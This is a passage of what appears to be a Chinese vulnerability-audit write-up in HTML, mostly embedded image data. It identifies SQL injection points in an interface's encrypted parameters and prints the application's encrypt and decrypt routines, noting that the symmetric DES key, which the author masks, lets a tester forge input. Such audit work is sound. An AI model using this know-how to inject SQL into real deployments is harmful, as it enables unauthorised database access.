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 truncated
|
||||
<p blockindex=16><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAwMAAAFGCAYAAAA2KEPVAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdeXQU15n4/W91S62W1Grtu0AsYl8EZjVgEeNgg43B4LAZjOMt20yOk/FMZn4nziSZyYzn/Z3kncwkeeNMbI+T2NgGY+zYZjEYs9piBwGSLJAQEkhoV3er1VIvVe8forU3dGsBIT2fc3Libj11695Syb5P3aWU6TNmafRAxqgR5Obm9uTQO8pkMtHQ0HCnq+GT1K9vaKFZPPnTjRj3vMSrn1W2fa+NYsmP/4nMK3/gl2+eQFUUAEwZS/n6kgVkpMagd9ZRfekLPv/wE4qsbX8e2thN/MPzE8jZ/AlhWcsZl2ikqfYiOR+/yf68WrQbZcVPzSL00gFKGhVC57/I3z8GO37yS042Ke3qEc7I+x5iREM2+8+UtX0/bhM/em48p//7/7C3tC3eX/60I3nZv/HcrIt88LaVaSuySDFr2K+eYv+2tzlf6Q44TtMUTGOX8tCS+xidEoXOWU1Zzh52f3SASmdbG4Ytf5lvzsjjw21u7lk2l6RwF9Yrx9n33lbyaz3tyjOQOHcdD98/nUQzWAs/Y8f5FDZ+I4mD//FzDtW0v44TePRffkjGmV/y6+0FXa7HnbwPWuODR/HA937InKDDbP7dO1xp8v171ZRMVv7r35B85Bf8fmdJtzHm5CB+Ok2HyaHym0MuznsCv0+EEEIIL92droAQ/aLxOBcuuUmeMptorV2+O2ImY6MdFJw509oBVJIe4YnnHmOkdp7D7/0vn+w9i3v0ctZsepAYrXOubGDs/Ok0nNzOxx/soNCVwYJN32JOXFtEVc5BShpv3kFTFDvFh9/vkAgAxA8fgdFdTkVV4E0OqB26MczJiqLo87fZsfsYDYkLWLFpOYlK4HG65Id54tkVpLtzOLjtDXbuyyd46kY2rb+X8C7Xbxyz5gZRsOctdnx6BmfaIlZt7Fi/oFGrWPP4fKLqstm37R2+uJLIvLlpqN01Wh9DRChY6qu7vyh38D5oPdWy7zA/DapK6wiLC+++nl5qFVYLRERF+wwJMSqY9RASAhGSBwghhOiloDtdASH6g6I4yDubx9I1M5ic8BGHbnSuU6dmEuXIYXeeG2jpSRnNLkqy3+XCx59R6laAYxSqabz42DTGROziaIeBkFCqj77K3uMOAM7nuYn7yRrGT4khe39d7+ocncVDWanUHdtCrqO1en4LqB3GRnLffY0vLApwlItNcfzd6kzGx2+jojKwuNTZ80lynWbra5vJd7bEXXLG84OVC5ls/pKjtnblhdq48PafyLa1xBXrUnnh4alkmHZwzN4SkjJ1GtHNp9n6+jvku1riyoN+zrfTumm0IZggBTwedzc/HBj3gae2kIv5YYSNeoTHZzzA+c3/zgdnLd3WF9x4PBAUHOLj51BZ5OSH13UYXSrVbskGhBBC9I6MDIhBy3HuJEXuVCZMSwFA00YwcVI8jvyTXPK0iyv4lF0f7KPEE0SwMRSDMRSP3YqLcEJNnUu1UV3Z2PbRepnSsjoUQ2Sv6qoZxvDA02tJt37OXz/Jw6ME3skLqB1N5VTUtzu2ooIGzJiiAo+LiIyEmnJqdGEYbpzXXVlBgxJLVHznSpZTaW37aKmsxkU44e3qF2E2Q10Zlc6276qul9Oj+Yzc+fvg6oE/8M5r/8lr//dnfPKVgSmPrSC9y0iD/xRFocGhSSIghBCiT8jIgBi8HKfILdjAisw5xH66nephMxgf20jBh+dap4YAKDEzWLx6FdNGxmEMasuPNa28m0JV2s9XUZRCPvv1P/aqmpo+mblPf4+5Efl89Nt3KXH2rJMXUDtUtWPnWlXRULoORvgRp1N0KGnL+O4vlnVsl2ZD3+Vxg9Zpuo+GBmjtClQUpfX71tNC98mA2hJ30ys2QO4DRa3j7OmLPDxhOKkxcMXHQJICaL1IFoQQQohASDIgBi1FaSI/J5eH101nStJ28jOnEd2Yw86CtqkhmmZm1upnmB2fz4F33+GazdXSx0tfwvolMf1eR02JZtL6H7B4eCUHXnmFszU96wQG3A6drmMHWqdD6dQB9zdO1VS0ioO8t/04jg4He7Be7UlbWrr3HRIOfHT4XQ6cKkQbwwFrdxF35D7QNBPps+cSX3+akxdrWr/3uJyoBGMw+DrSREgoOJvsAZ9TCCGE6AlJBsSg1nzuOEWPP8fYqdNhQiKO3C1cbusDAikkpgRjPb2LQ6cvth5njHuo3+fQaVooo1a8wIrJzZx4/TccKnXdNF5JXMjKNQuJuL6L7VuOYu0wlSjAdhiTSYyCwhtT10MTEzFhpaE+8DibxQLpKvbCPEpuPOLXTMPIGGZE63bV783ZrFYYm0KCAWpvXJL4pGQUPF2D1VKqqiAjbTQGrQynj+lVt/8+0JEyZzVfR09BwS5sioKmKSSmDSNIraHO1/IS8yiSI6GqwncWpSkKk9MUYjSN/GsqVZpMFxJCCNFzkgyIwa35NBfym1mZuRJ9op38jy50mBoCV7lW2sz0e9byiGU/l2vdhCVMYsKkJNzcvHPuS1haJiPjWhaABqVEAJA0ZQ6TXKDWXSTvxvyQyLnPs3pBEpaTWygKzmDcpLYyHOXnKKnt2PmNn76IyekpaMPvZ+Kuo2S3X5gbaDsaQ5mw7lmU0+exGkczY9FklIqd5HfexciPuGvHjnB93iM8uslO9tlrNBliGTVvKZmmY/zl5QICXVZddu4s9fO/xkPPrCXiRDHO6ClMmWJEpevTckUp53zONeY/sJDZCUc4XOVjZOU23weKYuX8kbMseGIZT2wIIjuvmqCE6dyblYT11PvkNdNlqEPTdKRkZZGmXWL3aUvXAK8oHc9l6omsc/Niqe8wIYQQwh+SDIhBTVFcfJVzAdeGe4hrPMLuAg/te0+K0sCprX8getUqpi5az1Sdg9qiQ+w54GLVExk9OmfCnI08fm/Hlbgz1j7PDMCd80fy/nwMgMjEZIyKHuPM9ayb2bGMko9+xBsHOnajay/mcH1eHBGV5yju9KqHwNtRQPbBRu5ZsYFUs0rD1cN8+N7HVHR5ynzrOLV8B5tfh6VLs3hgnRml2UpN0SHee3M7V3qwB767cBtb3jew9P57WfT4POxXDrPzyGXSVyZ0G1+5fytnZr7AfU89SeUf36LA0nUE4U7cB7ZTr/JmyBoWZy1iSWYYNFRQ8uVr7N5xpssIhqbpiZv1NN/ISqD6wBuctOKzk58QqyMaOFfioa4HC82FEEKI9hR56djAIvUT/a3lZWIFvPXPb1B0k86kv3EDgS4xi8efWc84Uy3FB99iy64LPqcMDTRaxDQeenId00easBz/M5u3HsXqY+qPpml8bU4IT8eo/G6Pi+PywjEhhBC9JCMDQgxJ/nYi747OplpxkC2/usikhUuZGR+PAXDe8qgBwhhHpDuPw6/v5GhuBe6bJjE6xkSB5ZqHkx3WPAghhBA9I8mAEGJQUJzl5O55nVyAu2RUAECp2svW//F+uEW9zTrGGDSyS9ROax6EEEKInpFpQgOM1E8IIYQQQtwu8gZiIYQQQgghhihJBoQQQgghhBiiJBkQQgghhBBiiJJkQARE1gsIIYQQQgwekgwIIYQQQggxREkyIIQQQgghxBAlyYAQQgghhBBDVK+SgfDw8L6qhxBCCCGEEOI261UykJ6eTnR0dF/VRQghhBBCCHEbBZwMKIpCYkI8qqpitVpJSEjAYDD0R93EAKfoDATpe/QC6yFH0xR0wcHoNLleQgghhBg4ggIJ1uv1JCcloNfpKC4upqmpiWHDhjF8+HAuX76Mx+Ppr3qKAShu8Y/5zqI4GqvyOfXRm3z+Vd2drtKAoynxTHx0Iw/MyCAqrIQ9P/8PjsrurEIIIYQYIPTJKak/8ycwxGAgJSUJj9tDSckVnE4nAHa7nejoaMLCwrBarf1Z1z5hMBha6z4QDfT6teesK6ak8ArOlHnMv28YtV8cpdKt9Os5R40P5tf3BrNyXBArxwXx2GiF0oseypX+PW9PRS74Hk8tTuLa51v49PMvKa6sx6kNzLoKIYQQYujxa2QgPDyMxPg4bDYb5eXlqKra+jOPx0NJSQkjR44kPj6eqqqqfqusGFjctcUU1RZT6MngnufGkhgH56/27znLr7r577qWznR0ip6NSf17vt6KTUxCbznJwT1fUKYogCQCQgghhBg4bpkMBAcHkZyYgM1m49q1a93GOJ1OysrKGDZsGKqqUlNT0+cVFQOXzhhGMM00O/r/XI4GjZMNLfPuh0Xq+/+EvdTc3AwGA8Y7XREhhBBCiG7cMhlwudzU1dXhdrtvGmez2aitrUWnk1cXDDXhkRHosGKz9K4cTdOIig9iw3gdkyMUgjwahWUeNud5KPUE/kRd0zSGDQtiwxgdo8IUDBpYGlQO53vYVqGi3Zha1Nfnba/B3gChZsL1gHrLcCGEEEKI28qvnrtH9a8XIwuIh6aQECN4HDS7eleOLkLP383WM86j8sE5N3+5pBKSEsQ/Ttdj7skuPBFBfDdTT4zVw1snXfzutJsjToVlM4NY2G4DrD4/bztNTQ5QQgiRDbeEEEIIMQAFtJuQEN2pL72CXT+OMdNSuXqxDqcKqqsRd4BP1UcP15PuUfndMTfHbxx7xq3w66k67g3xsDvAddW6CIVkReX9PA8HGxVA43iVRnYYNLTLW/vyvJqmoDcYCdKDPiSeiWNT0GpPUtYcWN2FEEIIIW6HgJKBiRMn+vxZbm5urysj7k7uvLfZtvfvWbPhZ0zXtXSmi//6In8+GNjuUrEhCjhUyhUdoTfuTHeDhgUdCSagNrB6qRaNUk3P4mlBeEpULltUiqwapdaOC3n79rzx3Pf9X7AwpaV8T8NFPnv1PcpkByEhhBBCDEABJQPS4Rfd0Q1fxiOL4qk48CeyL9Line truncated
|
||||
前端接受usernumber、i9999、kind三个参数,分别赋值给var3、var4、var5三个变量。而后续逻辑明显可以看到sql语句的拼接,也就是注入点。发现var3和var4可注入,而var5是作为if的判断值。var3参数也经过 PubFunc.decrypt的解密。因此这个接口的注入,var4是比较简单的,var3需要经过解密操作。</p>
|
||||
<h2 blockindex=17>0x03 加解密破解</h2>
|
||||
<p blockindex=18>由上方的漏洞审计可知,两个漏洞参数都需要进行解密操作,意味着前端传入的参数值是一个密文。跟进解密方法查看代码。刚好看到加密方法也在上方。</p>
|
||||
<pre blockindex=19><code class="hljs language-js">public <span class=hljs-keyword>static</span> <span class=hljs-built_in>String</span> <span class=hljs-function><span class=hljs-title>encrypt</span>(<span class=hljs-params><span class=hljs-built_in>String</span> var0</span>)</span> {
|
||||
<span class=hljs-keyword>if</span> (<span class=hljs-literal>null</span> \== var0) {
|
||||
<span class=hljs-keyword>return</span> <span class=hljs-string>""</span>;
|
||||
} <span class=hljs-keyword>else</span> {
|
||||
<span class=hljs-built_in>String</span> var1 = SafeCode.encrypt(var0);
|
||||
var1 = var1.replaceAll(<span class=hljs-string>"%"</span>, <span class=hljs-string>"@2HJ5@"</span>);
|
||||
var1 = var1.replaceAll(<span class=hljs-string>"\\\\+"</span>, <span class=hljs-string>"@2HJB@"</span>);
|
||||
var1 = var1.replaceAll(<span class=hljs-string>" "</span>, <span class=hljs-string>"@2HJ0@"</span>);
|
||||
var1 = var1.replaceAll(<span class=hljs-string>"\\\\/"</span>, <span class=hljs-string>"@2HJF@"</span>);
|
||||
var1 = var1.replaceAll(<span class=hljs-string>"\\\\?"</span>, <span class=hljs-string>"@3HJF@"</span>);
|
||||
var1 = var1.replaceAll(<span class=hljs-string>"#"</span>, <span class=hljs-string>"@2HJ3@"</span>);
|
||||
var1 = var1.replaceAll(<span class=hljs-string>"&"</span>, <span class=hljs-string>"@2HJ6@"</span>);
|
||||
var1 = var1.replaceAll(<span class=hljs-string>"="</span>, <span class=hljs-string>"@3HJD@"</span>);
|
||||
var1 = var1.replaceAll(<span class=hljs-string>"\\r\\n"</span>, <span class=hljs-string>""</span>).replaceAll(<span class=hljs-string>"\\n"</span>, <span class=hljs-string>""</span>).replaceAll(<span class=hljs-string>"\\r"</span>, <span class=hljs-string>""</span>);
|
||||
var1 = var1.replaceAll(<span class=hljs-string>"@"</span>, <span class=hljs-string>"PAATTP"</span>);
|
||||
<span class=hljs-keyword>return</span> var1;
|
||||
}
|
||||
}
|
||||
|
||||
public <span class=hljs-keyword>static</span> <span class=hljs-built_in>String</span> <span class=hljs-function><span class=hljs-title>decrypt</span>(<span class=hljs-params><span class=hljs-built_in>String</span> var0</span>)</span> {
|
||||
<span class=hljs-keyword>if</span> (<span class=hljs-literal>null</span> \== var0) {
|
||||
<span class=hljs-keyword>return</span> <span class=hljs-string>""</span>;
|
||||
} <span class=hljs-keyword>else</span> {
|
||||
var0 = var0.replaceAll(<span class=hljs-string>"PAATTP"</span>, <span class=hljs-string>"@"</span>);
|
||||
var0 = var0.replaceAll(<span class=hljs-string>"@2HJ5@"</span>, <span class=hljs-string>"%"</span>);
|
||||
var0 = var0.replaceAll(<span class=hljs-string>"@2HJB@"</span>, <span class=hljs-string>"\\\\+"</span>);
|
||||
var0 = var0.replaceAll(<span class=hljs-string>"@2HJ0@"</span>, <span class=hljs-string>" "</span>);
|
||||
var0 = var0.replaceAll(<span class=hljs-string>"@2HJF@"</span>, <span class=hljs-string>"\\\\/"</span>);
|
||||
var0 = var0.replaceAll(<span class=hljs-string>"@3HJF@"</span>, <span class=hljs-string>"\\\\?"</span>);
|
||||
var0 = var0.replaceAll(<span class=hljs-string>"@2HJ3@"</span>, <span class=hljs-string>"#"</span>);
|
||||
var0 = var0.replaceAll(<span class=hljs-string>"@2HJ6@"</span>, <span class=hljs-string>"&"</span>);
|
||||
var0 = var0.replaceAll(<span class=hljs-string>"@3HJD@"</span>, <span class=hljs-string>"="</span>);
|
||||
<span class=hljs-built_in>String</span> var1 = SafeCode.decrypt(var0);
|
||||
<span class=hljs-keyword>return</span> var1;
|
||||
}
|
||||
}
|
||||
</code></pre>
|
||||
<p blockindex=20>先看加密方法,首先var0参数传入到SafeCode.encrypt方法进行加密,跟进此方法,可以看到使用的是des加解密函数,为对称加密算法,意味着只要有加密密钥,即可正向加密,也可逆向解密。而加密密钥即为下图马赛克的值(这属于厂商敏感信息,不明文展示了):</p>
|
||||
<p blockindex=21><img src="data:image/png;base64,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